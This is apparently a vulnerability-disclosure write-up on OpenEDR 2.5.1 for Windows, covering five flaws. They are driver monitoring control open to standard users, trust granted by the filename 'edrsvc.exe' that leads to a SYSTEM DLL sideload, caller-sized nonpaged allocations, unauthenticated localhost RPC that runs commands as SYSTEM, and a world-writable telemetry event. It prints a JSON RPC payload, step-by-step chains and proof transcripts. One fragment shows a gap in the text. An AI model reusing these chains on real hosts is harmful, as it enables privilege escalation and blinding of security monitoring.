Insights
OpenEDR: Trust Me, I'm edrsvc.exe.

What happens when an EDR trusts filenames, unauthenticated localhost traffic and world-writable kernel objects? Five vulnerabilities, two SYSTEM LPE's and an RCE, a driver load and a lot of assumptions that should never have crossed a security boundary.

OpenEDR: Trust Me, I'm edrsvc.exe.

Intro

I originally started looking at OpenEDR because I wanted to answer a few fairly specific questions.

How does the usermode component speak to the driver? What does the driver do to authenticate it? Does it monitor ETW-TI? Can its image-load or process-create paths be deadlocked? Is there an IOCTL that eventually turns into kernel read/write?

Basically, I expected to spend most of my time fighting a complicated driver.

That is not what happened.

The driver had interesting attack surface, but the first major problem was much simpler: OpenEDR repeatedly assumed that only OpenEDR would ever talk to OpenEDR. The device, minifilter ports, named objects and localhost RPC were all treated like private implementation details. Windows did not agree.

By the end of the assessment a standard local user could:

  • stop and restart kernel monitoring;
  • make the driver allocate a caller-sized nonpaged buffer;
  • reset the event gating injected usermode telemetry;
  • execute an arbitrary command as NT AUTHORITY\SYSTEM;
  • start a real signed kernel driver through that SYSTEM execution path;
  • convince the driver that an arbitrary program was a trusted OpenEDR component by naming it edrsvc.exe;
  • use that trust to place an unsigned DLL beside the genuine service and have the real service load it as SYSTEM.

Sounds like an exotic kernel exploit chain right?

No. One of the trust decisions was a filename suffix.

The Target

I tested the signed OpenEDR 2.5.1 Windows release against the matching release-2.5.1 source at commit 95324d5414d9c700cdbb237047f0319eb7e9262c.

The target was a clean Windows 11 Pro VM named Stockholm. OpenEDR was installed from the stock MSI and left in its stock local mode:

  • edrsvc.exe 2.5.1.0 running automatically as LocalSystem;
  • edrdrv.sys 2.4.0.14 running as a filesystem minifilter;
  • seven filter instances at altitude 368325;
  • TCP 5889 listening for the service control RPC;
  • edrpm64.dll injected into over 100 processes;
  • the local event writer actively producing output.

This matters because "the product was not configured" is an easy excuse when a security product breaks in a lab. The sensor was not inert. The service, driver, injected monitor, capture event, filter ports and local event stream were all active.

It was not enrolled into Comodo's cloud because I did not have a vendor enrollment token. That limits what I can say about cloud-side detections. It does not change whether a standard user should be able to issue a kernel STOP request or make the LocalSystem service run cmd.exe.

What I Thought I Would Find

I initially focused on the process and image-load paths because EDRs love doing too much work inside callbacks.

I tested:

  • 20,000 SEC_IMAGE map/unmap operations;
  • 32 suspended processes with their initial image unmapped;
  • 250 processes terminated on the kernel32.dll loader breakpoint;
  • malformed configuration and rule buffers;
  • driver lifetime paths under Driver Verifier.

The loader tests did not deadlock. The APC teardown test did not produce a retained nonpaged increase. The process-creation test did not stall.

This is worth including because vulnerability research is not supposed to be a creative-writing exercise where every suspicious function becomes RCE. I found an APC cleanup path I still dislike. I did not reproduce a security impact, so it stayed in the research notes instead of receiving an advisory name.

The confirmed set ended up being:

ID Codename CVSS 3.1 Result
TSS-OEDR-001 BLACKOUT 7.1 High Unprivileged monitoring control
TSS-OEDR-002 FALSE FLAG 7.8 High Filename trust to SYSTEM DLL load
TSS-OEDR-003 FLOODGATE 5.5 Medium Caller-sized nonpaged allocation
TSS-OEDR-004 GHOST RELAY 7.8 High Unauthenticated local RPC to SYSTEM
TSS-OEDR-005 DEAD AIR 6.1 Medium World-writable telemetry gate

The complete project is available at 8damon/Pwning-OpenEDR. It contains the native PoCs, reproduction scripts, source references, standard-user transcripts, raw Sysmon XML and EVTX, hashes, screenshots and cleanup state. Each finding below links directly to its matching folder and proof.

BLACKOUT: The Stop Button Was Public

BLACKOUT includes the device-control PoC, build and reproduction scripts, and the complete standard-user transcript.

The OpenEDR driver exposes its device as:

\\.\{157980D8-09B4-4580-B8B6-D32971D056DA}

Its START and STOP operations are state-changing requests, but their IOCTL definitions request neither read nor write access. In practice this produces FILE_ANY_ACCESS control codes.

That alone is not automatically exploitable. The driver could still apply a caller check inside the dispatch path, but it does not apply the product-trust check to START and STOP.

The standard-user proof opened the device with zero desired access, issued STOP, created a harmless marker process while monitoring was disabled and then issued START to restore state:

poc=edrdrv-unprivileged-control
identity=S-1-5-21-4217224482-2132264085-568911963-1007
elevated=false
open_zero_access=true win32=0
stop_ok=true win32=0 returned=0
marker_process_created=true
start_ok=true win32=0 returned=0

The STOP path calls the monitoring stop routine with queue clearing enabled. So a standard user can create a collection gap, discard queued telemetry, do whatever fits inside that gap and turn the sensor back on afterwards.

The service keeps running, so does the driver. From a superficial health check OpenEDR can look fine again after the blind spot already occured.

FALSE FLAG: Product Trust By Filename

FALSE FLAG contains the trust oracle, protected-path placement and DLL staging PoCs. The end-to-end run is preserved in the consolidated transcript, with the original Sysmon records in the runtime evidence index.

OpenEDR classifies a process as ThisProductProcess when its image path ends in either:

\edrsvc.exe
\edrcon.exe

See the problem?

No installation-directory requirement. No service SID. No signer identity. No per-boot registration secret. No authenticated connection... Just the suffix?

That process flag is later forced into the trusted state used by privileged configuration and rule IOCTLs.

Turning The Parser Into An Oracle

First I had to verify that SET_CONFIG requests would actually get through;

[normal filename]
image=...\trusted_name_probe.exe
set_config_ok=false
win32=5

[spoofed product filename]
image=...\edrsvc.exe
set_config_ok=false
win32=23

Win32 5 is the trust gate saying access denied.

Win32 23 means the spoofed process crossed that gate and reached the parser, so yes it got through.

The Log Path

The configuration structure contains a LogFile field. The trusted caller can select it, and the driver eventually passes the path into a kernel ZwCreateFile operation using overwrite semantics.

I pointed it at:

\??\C:\Program Files\COMODO\EdrAgentV2\dbghelp.dll

From the standard-user process:

source_user=openedr-low is_admin=false elevated=false
image=...\bin\config\edrsvc.exe
target=\??\C:\Program Files\COMODO\EdrAgentV2\dbghelp.dll
set_config_ok=true win32=0
followup_ok=false win32=23
owner=STOCKHOLM\openedr-low

The driver created a file in the protected application directory on behalf of the spoofed process. Windows reported the standard user as the owner.

Though, the driver kept its new log file open. A normal write could not replace it immediately. Rebooting released the handle, but the placeholder was not a valid DLL, so the genuine service stopped during startup while the driver remained running.

That failure was useful. It proved the service really was trying to consume the file I placed.

Replacing The Placeholder

OpenEDR's own self-protection then denied an ordinary copy into the application directory. Fair enough.

So I named the staging program edrsvc.exe too.

The same broken product-trust decision that exposed driver configuration also let the standard-user staging process replace the user-owned placeholder with the benign unsigned payload:

source_user=openedr-low is_admin=false elevated=false
image=...\bin\stage\edrsvc.exe
caller=openedr-low
source=...\payload\dbghelp.dll
target=C:\Program Files\COMODO\EdrAgentV2\dbghelp.dll
copy_ok=true win32=0

The payload SHA-256 was:

0B64236AE43D6EE7D83F682665E802DD7C36109913C2BB0B98472C6CEEF91878

Authenticode status: NotSigned.

The DllMain wrote the current username, process path, module path and PID into a public marker.

The genuine service was then started again.

FALSE FLAG standard-user staging, Sysmon image load and SYSTEM DllMain marker

Sysmon Event ID 7 recorded:

UtcTime=2026-07-14 04:26:42.823
ProcessId=6444
Image=C:\Program Files\COMODO\EdrAgentV2\edrsvc.exe
ImageLoaded=C:\Program Files\COMODO\EdrAgentV2\dbghelp.dll
Hashes=SHA256=0B64236AE43D6EE7D83F682665E802DD7C36109913C2BB0B98472C6CEEF91878
Signed=false
SignatureStatus=Unavailable
User=NT AUTHORITY\SYSTEM

And the payload marker, from the same PID:

proof=tss-oedr-002-dll-sideload
user=SYSTEM
pid=6444
process=C:\Program Files\COMODO\EdrAgentV2\edrsvc.exe
module=C:\Program Files\COMODO\EdrAgentV2\dbghelp.dll

So;

  1. standard user renames a program to edrsvc.exe;
  2. the driver promotes it to a trusted product process;
  3. the trusted process selects a protected application-directory path;
  4. the driver creates a user-owned file there;
  5. the user replaces it with an unsigned DLL after reboot releases the handle;
  6. the real OpenEDR service loads it as SYSTEM.

FLOODGATE: Everyone Gets A Nonpaged Buffer

FLOODGATE includes both proxy-port harnesses and the bounded nonpaged-pool measurement.

OpenEDR uses minifilter communication ports for its process-monitor proxy.

The normal service port rejected the standard account with 0x80070005, which is a useful positive control. The two proxy ports were different. Their security descriptor grants full access to SeWorldSid and permits low-integrity access.

The sender callback allocates a nonpaged reply buffer directly from the caller's requested output length before forwarding the message. There was no small protocol maximum or useful aggregate quota in front of that allocation.

The receiver slot is normally occupied by the service, so I stopped edrsvc and left edrdrv running as administrative test preparation. The actual allocation request still came from the standard user.

I capped the proof at 32 MiB:

source_user=openedr-low is_admin=false elevated=false
requested_mb=32
main_port_connect_hr=0x80070005 success=false
proxy_out_connect_hr=0x00000000 success=true
proxy_in_connect_hr=0x00000000 success=true
proxy_send_hr=0x00000000 success=true
reply_bytes=8
proxy_get_hr=0x00000000 success=true
proxy_reply_hr=0x00000000 success=true
nonpaged_before=141492224
nonpaged_held=174776320
nonpaged_delta=33284096

The measured delta was 33,284,096 bytes for one bounded request.

That confirmed the issue is the authorization failure plus caller-sized nonpaged allocation. Parallel or repeated requests turn that primitive into availability pressure (Denial of Service).

GHOST RELAY: Localhost Is Not Authentication

GHOST RELAY contains the native RPC PoC, protocol cross-checks, driver-load probe and the standard-user SYSTEM transcript.

The service exposes HTTP JSON-RPC on TCP 5889.

The connector has a loopback accept policy, so this is not a direct remote network RCE. I verified that a request arriving from an external network address was rejected.

Unfortunately (or fortunately) any local user can connect to 127.0.0.1.

The RPC layer decrypts an envelope using a compile-time key present in the public source, extracts a command and parameters, then dispatches them to the service's application object. Encryption protects the message from somebody who does not know the public key. It does not identify the caller. Even without the key, this should not be possible.

One exposed command is run.

The native proof requested:

{
  "command": "run",
  "params": {
    "path": "C:\\Windows\\System32\\cmd.exe",
    "params": "/c whoami > C:\\Users\\Public\\tss-oedr-004-identity.txt",
    "isElevated": false,
    "timeout": 5000
  }
}

isElevated=false does not save anything when the application processing the request is already LocalSystem.

The standard-user transcript was:

source_user=openedr-low is_admin=false elevated=false
rpc_sent=true
http_status=200
proof_exists=true
service_identity=nt authority\system

GHOST RELAY standard-user RPC and Sysmon SYSTEM process creation

Sysmon Event ID 1 independently recorded:

ProcessId=4688
Image=C:\Windows\System32\cmd.exe
CommandLine="C:\Windows\System32\cmd.exe" /c whoami > C:\Users\Public\tss-oedr-004-identity.txt
User=NT AUTHORITY\SYSTEM
IntegrityLevel=System
ParentProcessId=6444
ParentImage=C:\Program Files\COMODO\EdrAgentV2\edrsvc.exe
ParentUser=NT AUTHORITY\SYSTEM

There is not much ambiguity left there. The low user sent the request. The genuine OpenEDR service created the supplied process. The child ran as SYSTEM.

GHOST RELAY standard-user RPC and Sysmon signed driver load

Sysmon Event ID 6 recorded the kernel load separately:

ImageLoaded=C:\Windows\System32\drivers\flpydisk.sys
Hashes=SHA256=2B920DCEDB85453F619C599083046B6DE8670886AB2D13593771DFADCCEBBEB2
Signed=true
Signature=Microsoft Windows
SignatureStatus=Valid

DEAD AIR: A Global Event With A NULL DACL

DEAD AIR includes the global-event control PoC and the complete reset-and-restore transcript.

The injected usermode monitor waits on:

Global\edrCaptureEvent

The service creates it as a manual-reset event with a present but NULL DACL. That gives everyone full access. Injected workers open it with EVENT_ALL_ACCESS, even though they only need to wait.

When the event is signaled, usermode capture proceeds. Reset it and those workers stop sending their queued API telemetry until it becomes signaled again.

The standard-user proof did exactly that and restored it immediately:

source_user=openedr-low is_admin=false elevated=false
open=true
initial_state=signaled
reset_ok=true win32=0
after_reset=nonsignaled
restore_ok=true win32=0
after_restore=signaled

This does not stop kernel telemetry. It is a partial collection blind spot, which is why DEAD AIR scores below BLACKOUT.

The fix is an explicit DACL. The service needs modify access. Injected clients need SYNCHRONIZE. A random standard user needs neither.

self and continued running.

There was no local event naming:

  • the BLACKOUT control IOCTL;
  • the FLOODGATE nonpaged allocation;
  • the FALSE FLAG trust promotion;
  • the DEAD AIR event reset;
  • the GHOST RELAY authorization failure.

Could an enrolled cloud backend alert on generic downstream behaviour? Maybe. I did not test it and I will not claim otherwise.

Would that remove the vulnerabilities? No.

Detection is not authorization. Logging the SYSTEM process after your unauthenticated service created it does not make creating it safe.

Conclusion

OpenEDR teaches us a valuable lesson about trust.

A localhost socket was trusted as authenticated because it was localhost. A filename was trusted as an identity because it looked like a product filename. A globally named event was trusted as private because only the product was supposed to touch it. Minifilter ports were world-accessible because the normal client happened to be trusted. State-changing IOCTLs existed without matching authorization because the service was the intended caller.

Security products sit at unusually powerful boundaries. Their service is SYSTEM, their driver is kernel, their injected modules live everywhere and their IPC is allowed to do things ordinary applications cannot. That makes small authentication mistakes much more dangerous. A security program, especially an EDR is not supposed to make it easier for an attacker to gain NT AUTHORITY/SYSTEM